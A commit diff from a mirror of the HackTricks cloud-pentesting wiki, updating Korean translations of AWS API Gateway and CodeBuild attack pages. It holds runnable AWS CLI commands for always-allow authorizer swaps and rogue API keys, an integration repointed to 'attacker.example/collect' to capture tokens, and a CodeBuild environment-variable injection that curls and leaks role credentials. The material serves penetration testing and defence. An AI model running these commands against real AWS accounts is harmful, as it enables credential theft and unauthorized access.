mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-a
This commit is contained in:
+35
-12
@@ -1,32 +1,55 @@
|
||||
# AWS - API Gateway Persistence
|
||||
# AWS - API Gateway 지속성
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
자세한 정보는 다음을 참조하세요:
|
||||
자세한 내용은 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 리소스 정책
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
API gateway(s)의 리소스 정책을 수정하여 자신에게 접근 권한을 부여하세요.
|
||||
|
||||
### Lambda Authorizers 수정
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
lambda authorizers의 코드를 수정하여 모든 엔드포인트에 대한 접근을 자신에게 허용하세요.
|
||||
또는 단순히 authorizer 사용을 제거하세요.
|
||||
|
||||
### IAM 권한
|
||||
컨트롤 플레인 권한으로 **authorizer를 생성/업데이트(create/update an authorizer)** 할 수 있다면 (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) **항상 허용하는 Lambda로 authorizer를 재지정(repoint)** 할 수도 있습니다.
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
REST APIs (변경 사항은 일반적으로 배포가 필요함):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
REST_API_ID="<rest_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
|
||||
```
|
||||
HTTP API(들) / `apigatewayv2` (종종 즉시 적용됨):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### IAM Permissions
|
||||
|
||||
리소스가 IAM authorizer를 사용하고 있다면, IAM permissions을 수정해서 자신에게 접근 권한을 부여할 수 있습니다.\
|
||||
또는 단순히 authorizer 사용을 제거할 수 있습니다.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
API keys가 사용되고 있다면, persistence를 유지하기 위해 그것들을 leak하거나 새로 생성할 수 있습니다.\
|
||||
또는 단순히 API keys의 사용을 제거할 수 있습니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+42
-19
@@ -4,43 +4,66 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information check:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Access unexposed APIs
|
||||
### 노출되지 않은 API 접근
|
||||
|
||||
서비스 `com.amazonaws.us-east-1.execute-api`로 [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:)에 엔드포인트를 생성하고, 접근 가능한 네트워크(잠재적으로 EC2 머신을 통해)에 엔드포인트를 노출한 뒤 모든 연결을 허용하는 보안 그룹을 할당할 수 있습니다.\
|
||||
그런 다음 EC2 머신에서 해당 엔드포인트에 접근하여 이전에 노출되지 않았던 gateway API를 호출할 수 있습니다.
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
그런 다음 EC2 머신에서 엔드포인트에 접근하여 이전에 노출되지 않았던 gateway API를 호출할 수 있습니다.
|
||||
|
||||
### Bypass Request body passthrough
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
이 기법은 [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)에서 발견되었습니다.
|
||||
|
||||
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
|
||||
|
||||
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
|
||||
따라서 CTF에서 API Gateway에는 요청이 `Content-Type: application/json`으로 전송될 때 응답에서 **preventing the flag from being exfiltrated** 하도록 하는 integration template이 있었습니다:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
하지만 **`Content-type: text/json`**으로 요청을 보내면 해당 필터를 우회할 수 있었다.
|
||||
하지만 **`Content-type: text/json`** 헤더로 요청을 보내면 해당 필터를 우회할 수 있었다.
|
||||
|
||||
마지막으로, API Gateway가 `Get`과 `Options`만 허용했기 때문에, 바디에 쿼리를 넣고 헤더 `X-HTTP-Method-Override: GET`을 사용해 POST 요청을 보내면 제한 없이 임의의 dynamoDB 쿼리를 전송할 수 있었다:
|
||||
마지막으로, API Gateway가 `Get`과 `Options`만 허용하고 있었기 때문에, 본문에 쿼리를 담아 POST 요청을 보내고 헤더 `X-HTTP-Method-Override: GET`을 사용하면 제한 없이 임의의 dynamoDB 쿼리를 보낼 수 있었다:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Usage Plans DoS
|
||||
|
||||
In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
|
||||
**Enumeration** 섹션에서 키들의 **obtain the usage plan**을 확인할 수 있습니다. 키를 가지고 있고 그것이 **limited** to X usages **per month**라면, 단순히 해당 키를 사용해 **just use it and cause a DoS** 할 수 있습니다.
|
||||
|
||||
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
|
||||
|
||||
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
|
||||
|
||||
만약 **HTTP API integration**을 업데이트할 수 있다면, 민감한 경로(예: `/login`, `/token`, `/submit`)를 공격자 제어의 HTTP 엔드포인트로 **repoint**하여 조용히 **collect headers and bodies**(cookies, `Authorization` bearer tokens, session ids, API keys, 내부 작업에서 전송된 secrets 등)를 수집할 수 있습니다.
|
||||
|
||||
Example workflow:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
|
||||
# Find routes and the integration attached to the interesting route
|
||||
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
|
||||
ROUTE_ID="<route_id>"
|
||||
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
|
||||
|
||||
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
|
||||
COLLECTOR_URL="https://attacker.example/collect"
|
||||
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
|
||||
```
|
||||
참고:
|
||||
|
||||
- **HTTP APIs**의 경우, 변경 사항은 일반적으로 즉시 적용됩니다(일반적으로 배포를 생성해야 하는 **REST APIs**와 달리).
|
||||
- 임의의 URL로 포인팅할 수 있는지는 integration type/config에 따라 다릅니다; 경우에 따라 패치 시 integration type을 변경할 수도 있습니다.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
권한 `apigateway:UpdateGatewayResponse` 및 `apigateway:CreateDeployment`를 가진 공격자는 **기존 Gateway Response를 수정하여 custom headers나 response templates를 포함시키고, 이를 통해 민감한 정보를 leak 하거나 악성 스크립트를 실행할 수 있습니다**.
|
||||
권한 `apigateway:UpdateGatewayResponse`와 `apigateway:CreateDeployment`를 가진 공격자는 **기존 Gateway Response를 수정하여 맞춤 헤더 또는 응답 템플릿을 포함시키고 민감한 정보를 leak하거나 악성 스크립트를 실행할 수 있습니다**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -51,14 +74,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**잠재적 영향**: 민감한 정보의 Leakage, 악성 스크립트 실행, 또는 API 리소스에 대한 무단 접근.
|
||||
**잠재적 영향**: Leakage of sensitive information, 악성 스크립트 실행 또는 API 리소스에 대한 무단 접근.
|
||||
|
||||
> [!NOTE]
|
||||
> 테스트 필요
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
`apigateway:UpdateStage` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway stage를 수정하여 트래픽을 다른 stage로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단으로 접근할 수 있습니다**.
|
||||
`apigateway:UpdateStage` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway stage를 수정하여 트래픽을 다른 stage로 리다이렉트하거나 캐싱 설정을 변경해 캐시된 데이터에 무단으로 접근할 수 있다**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -69,14 +92,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**잠재적 영향**: 캐시된 데이터에 대한 무단 액세스, API 트래픽 중단 또는 가로채기.
|
||||
**Potential Impact**: 캐시된 데이터에 대한 무단 접근, API 트래픽 방해 또는 가로채기.
|
||||
|
||||
> [!NOTE]
|
||||
> 테스트 필요
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
권한 `apigateway:PutMethodResponse` 및 `apigateway:CreateDeployment`를 가진 공격자는 **기존 API Gateway REST API 메서드의 method response를 수정하여 맞춤 헤더나 응답 템플릿을 포함시킴으로써 민감한 정보를 leak 하거나 악성 스크립트를 실행할 수 있습니다**.
|
||||
권한 `apigateway:PutMethodResponse` 및 `apigateway:CreateDeployment`을 가진 공격자는 **기존 API Gateway REST API 메서드의 method response를 수정해 커스텀 헤더나 응답 템플릿을 포함시키고, 이를 통해 민감한 정보를 leak하거나 악성 스크립트를 실행할 수 있습니다**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -89,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**잠재적 영향**: Leakage of sensitive information, 악의적 스크립트 실행, 또는 API 리소스에 대한 무단 액세스.
|
||||
**Potential Impact**: Leakage of 민감한 정보, 악성 스크립트 실행, 또는 API 리소스에 대한 무단 접근.
|
||||
|
||||
> [!NOTE]
|
||||
> 테스트 필요
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
권한 `apigateway:UpdateRestApi` 및 `apigateway:CreateDeployment`를 가진 공격자는 **API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경함으로써 API의 보안을 약화시킬 수 있습니다**.
|
||||
이 권한(`apigateway:UpdateRestApi` 및 `apigateway:CreateDeployment`)을 가진 공격자는 **API Gateway REST API 설정을 수정해 logging을 비활성화하거나 최소 TLS 버전을 변경하여 API의 보안을 약화시킬 수 있습니다**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -106,14 +129,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: API 보안 약화 — 잠재적으로 무단 접근을 허용하거나 민감한 정보를 노출시킬 수 있습니다.
|
||||
**잠재적 영향**: API의 보안이 약화되어 무단 액세스를 허용하거나 민감한 정보가 노출될 수 있음.
|
||||
|
||||
> [!NOTE]
|
||||
> 테스트 필요
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, 및 `apigateway:CreateUsagePlanKey` 권한을 가진 공격자는 **새로운 API keys를 생성하고 이를 usage plans에 연동한 다음, 이 키들로 APIs에 무단 접근할 수 있습니다**.
|
||||
권한 `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, 및 `apigateway:CreateUsagePlanKey`를 가진 공격자는 **새로운 API keys를 생성하고 이를 usage plans에 연결한 다음 이러한 키를 사용해 APIs에 무단 액세스할 수 있습니다**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
@@ -124,7 +147,7 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**잠재적 영향**: API 리소스에 대한 무단 접근, 보안 제어 우회.
|
||||
**Potential Impact**: API 리소스에 대한 무단 접근, 보안 제어 우회.
|
||||
|
||||
> [!NOTE]
|
||||
> 테스트 필요
|
||||
|
||||
+24
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## Apigateway
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,37 +12,37 @@
|
||||
|
||||
### `apigateway:POST`
|
||||
|
||||
이 권한이 있으면 구성된 APIs에 대한 API keys를 생성할 수 있습니다(리전별).
|
||||
이 권한이 있으면 구성된 APIs의 API keys를 생성할 수 있습니다 (per region).
|
||||
```bash
|
||||
aws --region <region> apigateway create-api-key
|
||||
```
|
||||
**Potential Impact:** 이 기술로는 privesc를 할 수 없지만 민감한 정보에 접근할 수 있습니다.
|
||||
**잠재적 영향:** 이 기술로 privesc는 할 수 없지만 민감한 정보에 접근할 수 있습니다.
|
||||
|
||||
### `apigateway:GET`
|
||||
|
||||
이 권한이 있으면 구성된 API(리전별)의 생성된 API keys를 얻을 수 있습니다.
|
||||
이 권한이 있으면 구성된 API(리전별)의 생성된 API 키를 가져올 수 있습니다.
|
||||
```bash
|
||||
aws --region <region> apigateway get-api-keys
|
||||
aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
```
|
||||
**Potential Impact:** 이 기법으로는 privesc를 할 수 없지만 민감한 정보에 접근할 수 있습니다.
|
||||
**Potential Impact:** 이 기술로는 privesc할 수 없지만 민감한 정보에 접근할 수 있습니다.
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
이 권한들로 API의 리소스 정책을 수정해 자신이 해당 API를 호출할 수 있도록 권한을 부여할 수 있으며, API gateway가 가진 잠재적 권한을 악용할 수 있습니다(예: 취약한 lambda를 호출하는 경우).
|
||||
이 권한이 있으면 API의 리소스 정책을 수정하여 자신에게 해당 API를 호출할 수 있는 권한을 부여하고, API gateway가 가질 수 있는 잠재적 접근 권한을 악용할 수 있습니다(예: 취약한 lambda를 호출하는 경우).
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
```
|
||||
**Potential Impact:** 일반적으로 이 기법으로 직접 privesc를 달성할 수는 없지만 민감한 정보에 접근할 수 있습니다.
|
||||
**잠재적 영향:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info.
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> 테스트 필요
|
||||
|
||||
해당 권한 `apigateway:PutIntegration`, `apigateway:CreateDeployment`, 및 `iam:PassRole`을(를) 가진 공격자는 **IAM role이 연결된 Lambda 함수를 대상으로 기존 API Gateway REST API에 새로운 integration을 추가할 수 있습니다**. 그런 다음 공격자는 **해당 Lambda 함수를 트리거하여 임의의 코드를 실행시키고 IAM role에 연관된 리소스에 접근할 수 있습니다**.
|
||||
권한 `apigateway:PutIntegration`, `apigateway:CreateDeployment`, 및 `iam:PassRole`가 있는 공격자는 **IAM 역할이 연결된 Lambda 함수를 사용해 기존 API Gateway REST API에 새로운 통합(integration)을 추가할 수 있습니다**. 그런 다음 공격자는 **Lambda 함수를 트리거하여 임의의 코드를 실행하고 IAM 역할과 연관된 리소스에 접근할 가능성이 있습니다**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
> [!NOTE]
|
||||
> 테스트 필요
|
||||
|
||||
`apigateway:UpdateAuthorizer` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway authorizer를 수정**하여 보안 검사를 우회하거나 API 요청이 이루어질 때 임의의 코드를 실행할 수 있습니다.
|
||||
권한 `apigateway:UpdateAuthorizer` 및 `apigateway:CreateDeployment`를 가진 공격자는 **기존 API Gateway authorizer를 수정**하여 보안 검사를 우회할 수 있습니다(예: 항상 "allow"를 반환하는 Lambda로 가리키도록 변경) 또는 API 요청이 발생할 때 임의의 코드를 실행할 수 있습니다.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
AUTHORIZER_ID="your-authorizer-id"
|
||||
@@ -75,14 +75,26 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: 보안 검사 우회, API 리소스에 대한 무단 액세스.
|
||||
**가능한 영향**: 보안 검사 우회, API 리소스에 대한 무단 접근.
|
||||
|
||||
#### HTTP APIs / `apigatewayv2` 변형
|
||||
|
||||
HTTP APIs (API Gateway v2)의 경우, 동등한 작업은 `apigatewayv2`를 통해 authorizer를 업데이트하는 것입니다:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### `apigateway:UpdateVpcLink`
|
||||
|
||||
> [!NOTE]
|
||||
> 테스트 필요
|
||||
|
||||
권한 `apigateway:UpdateVpcLink`를 가진 공격자는 **기존 VPC Link를 다른 Network Load Balancer로 가리키도록 수정하여, private API 트래픽을 무단 또는 악의적인 리소스로 리디렉션할 수 있습니다**.
|
||||
권한 `apigateway:UpdateVpcLink`을 가진 공격자는 **기존 VPC Link를 다른 Network Load Balancer로 가리키도록 수정하여, 프라이빗 API 트래픽을 무단 또는 악의적인 리소스로 리다이렉트할 수 있습니다**.
|
||||
```bash
|
||||
VPC_LINK_ID="your-vpc-link-id"
|
||||
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
|
||||
@@ -90,6 +102,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
|
||||
# Update the VPC Link
|
||||
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
|
||||
```
|
||||
**잠재적 영향**: 비인가된 비공개 API 리소스 접근, API 트래픽의 가로채기 또는 중단.
|
||||
**Potential Impact**: 비공개 API 리소스에 대한 무단 접근, API 트래픽의 가로채기 또는 중단.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+87
-24
@@ -4,7 +4,7 @@
|
||||
|
||||
## codebuild
|
||||
|
||||
자세한 정보는 다음을 참고하세요:
|
||||
자세한 정보:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
이 권한들 중 하나만으로도 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam role의 token을 탈취할 수 있습니다:
|
||||
이 권한들 중 하나만 있어도 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam role의 토큰을 탈취하기에 충분합니다:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -58,16 +58,79 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**참고**: 이 두 명령의 차이점은 다음과 같습니다:
|
||||
**참고**: 이 두 명령의 차이는 다음과 같습니다:
|
||||
|
||||
- `StartBuild`는 특정 `buildspec.yml`을 사용하여 단일 build 작업을 트리거합니다.
|
||||
- `StartBuildBatch`는 더 복잡한 구성(예: 여러 빌드를 병렬로 실행)을 포함한 빌드 배치를 시작할 수 있게 합니다.
|
||||
- `StartBuild`는 특정 `buildspec.yml`을 사용하여 단일 빌드 작업을 실행합니다.
|
||||
- `StartBuildBatch`는 보다 복잡한 구성(예: 여러 빌드를 병렬로 실행)을 가진 빌드 배치를 시작할 수 있게 해줍니다.
|
||||
|
||||
**잠재적 영향:** 연결된 AWS Codebuild 역할로의 직접적인 privesc.
|
||||
**잠재적 영향:** 첨부된 AWS Codebuild roles에 대한 직접적인 privesc.
|
||||
|
||||
#### StartBuild 환경 변수 재정의
|
||||
|
||||
프로젝트를 **수정할 수 없더라도** (`UpdateProject`) 및 buildspec을 **재정의할 수 없더라도**, `codebuild:StartBuild`는 여전히 빌드 시점에 환경 변수를 다음을 통해 재정의할 수 있습니다:
|
||||
|
||||
- CLI: `--environment-variables-override`
|
||||
- API: `environmentVariablesOverride`
|
||||
|
||||
빌드가 동작을 제어하기 위해 환경 변수(예: destination buckets, feature flags, proxy settings, logging 등)를 사용한다면, 이는 빌드 role이 접근할 수 있는 **exfiltrate secrets**을 수행하거나 빌드 내부에서 **code execution**을 얻기에 충분할 수 있습니다.
|
||||
|
||||
##### 예제 1: Artifact/Upload 대상 리디렉션하여 Exfiltrate Secrets
|
||||
|
||||
빌드가 환경 변수로 제어되는 버킷/경로(예: `UPLOAD_BUCKET`)에 아티팩트를 발행하면, 이를 공격자가 제어하는 버킷으로 재정의합니다:
|
||||
```bash
|
||||
export PROJECT="<project-name>"
|
||||
export EXFIL_BUCKET="<attacker-controlled-bucket>"
|
||||
|
||||
export BUILD_ID=$(aws codebuild start-build \
|
||||
--project-name "$PROJECT" \
|
||||
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
|
||||
--query build.id --output text)
|
||||
|
||||
# Wait for completion
|
||||
while true; do
|
||||
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
|
||||
[ "$STATUS" = "SUCCEEDED" ] && break
|
||||
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
|
||||
sleep 5
|
||||
done
|
||||
|
||||
# Example expected location (depends on the buildspec/project logic):
|
||||
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
|
||||
```
|
||||
##### 예제 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
|
||||
|
||||
빌드가 `python3`을 실행한다면 (buildspecs에서 흔함), buildspec을 건드리지 않고도 다음을 악용해 때때로 코드 실행을 얻을 수 있습니다:
|
||||
|
||||
- `PYTHONWARNINGS`: Python은 *category* 필드를 해석하며 점으로 구분된 경로를 import합니다. 이를 `...:antigravity.x:...`로 설정하면 stdlib 모듈 `antigravity`를 강제로 import합니다.
|
||||
- `antigravity`: `webbrowser.open(...)`을 호출합니다.
|
||||
- `BROWSER`: `webbrowser`가 실행할 대상을 제어합니다. Linux에서는 `:`로 구분됩니다. `#%s`를 사용하면 URL 인자가 쉘 주석이 됩니다.
|
||||
|
||||
이는 CodeBuild 역할 자격증명( `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`에서 제공됨)을 CloudWatch 로그에 출력한 다음, 로그 읽기 권한이 있으면 이를 복구하는 데 사용될 수 있습니다.
|
||||
|
||||
<details>
|
||||
<summary>확장 가능: StartBuild JSON 요청 for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> 기법</summary>
|
||||
```json
|
||||
{
|
||||
"projectName": "codebuild_lab_7_project",
|
||||
"environmentVariablesOverride": [
|
||||
{
|
||||
"name": "PYTHONWARNINGS",
|
||||
"value": "all:0:antigravity.x:0:0",
|
||||
"type": "PLAINTEXT"
|
||||
},
|
||||
{
|
||||
"name": "BROWSER",
|
||||
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
|
||||
"type": "PLAINTEXT"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
**`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 CodeBuild 프로젝트를 생성함으로써 **escalate privileges to any codebuild IAM role** 할 수 있습니다.
|
||||
**`iam:PassRole`, `codebuild:CreateProject`, `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 빌드를 생성하여 **임의의 codebuild IAM 역할로 권한을 상승시킬 수 있습니다.**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -171,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**잠재적 영향:** Direct privesc to any AWS Codebuild role.
|
||||
**Potential Impact:** 임의의 AWS Codebuild role에 대한 직접 privesc.
|
||||
|
||||
> [!WARNING]
|
||||
> Codebuild 컨테이너에서는 파일 `/codebuild/output/tmp/env.sh`에 메타데이터 자격 증명에 접근하는 데 필요한 모든 env vars가 포함되어 있다.
|
||||
